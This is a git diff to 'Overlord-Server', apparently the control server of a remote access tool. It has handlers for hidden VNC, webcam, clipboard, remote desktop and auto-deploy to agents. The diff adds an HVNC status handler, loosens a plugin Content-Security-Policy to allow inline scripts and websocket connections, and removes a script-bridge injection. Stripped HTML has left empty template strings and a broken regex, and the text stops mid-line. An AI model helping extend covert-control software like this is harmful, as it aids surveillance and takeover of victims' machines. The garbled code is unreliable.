diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
index 3224404..35ed3ba 100644
--- a/Overlord-Server/src/main-server.ts
+++ b/Overlord-Server/src/main-server.ts
@@ -39,7 +39,7 @@ import { isAuthorizedAgentRequest } from "./server/agent-auth";
import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils";
import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils";
import { CORS_HEADERS } from "./server/http-security";
-import { mimeType, secureHeaders, securePluginHeaders } from "./server/http-utils";
+import { mimeType, secureHeaders } from "./server/http-utils";
import { sanitizePluginId } from "./server/plugin-utils";
import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch";
import { dispatchAutoDeploysForConnection } from "./server/auto-deploy-dispatch";
@@ -87,6 +87,7 @@ import {
handleWebcamDevices,
handleHVNCCloneProgress,
handleHVNCLookupResult,
+ handleHVNCDXGIStatus,
handleClipboardContent,
handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen,
@@ -421,7 +422,6 @@ async function startServer() {
enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent,
drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents,
secureHeaders,
- securePluginHeaders,
mimeType,
},
fileShare: {
@@ -606,6 +606,7 @@ async function startServer() {
handleWebcamDevices,
handleHVNCCloneProgress,
handleHVNCLookupResult,
+ handleHVNCDXGIStatus,
handleClipboardContent,
cleanupVoiceViewer,
stopConsoleOnTarget,
diff --git a/Overlord-Server/src/server/http-utils.ts b/Overlord-Server/src/server/http-utils.ts
index 5b63f51..7c0b236 100644
--- a/Overlord-Server/src/server/http-utils.ts
+++ b/Overlord-Server/src/server/http-utils.ts
@@ -11,7 +11,7 @@ export function securePluginHeaders() {
return {
...SECURITY_HEADERS,
"X-Frame-Options": "SAMEORIGIN",
- "Content-Security-Policy": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'none'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
+ "Content-Security-Policy": "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self' wss: ws:; object-src 'none'; base-uri 'self'; frame-ancestors 'self'",
};
}
diff --git a/Overlord-Server/src/server/routes/plugin-routes.ts b/Overlord-Server/src/server/routes/plugin-routes.ts
index 762ccf5..6628fc4 100644
--- a/Overlord-Server/src/server/routes/plugin-routes.ts
+++ b/Overlord-Server/src/server/routes/plugin-routes.ts
@@ -46,7 +46,6 @@ type PluginRouteDeps = {
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>;
secureHeaders: (contentType?: string) => Record;
- securePluginHeaders: () => Record;
mimeType: (path: string) => string;
};
@@ -715,7 +714,6 @@ export async function handlePluginRoutes(
const raw = await file.text();
const baseTag = ``;
- const bridgeTag = ``;
let injected = raw;
const headMatch = raw.match(/]*>/i);
@@ -723,16 +721,8 @@ export async function handlePluginRoutes(
injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`);
}
- if (injected.includes("")) {
- injected = injected.replace("", ` ${bridgeTag}\n `);
- } else if (injected.includes("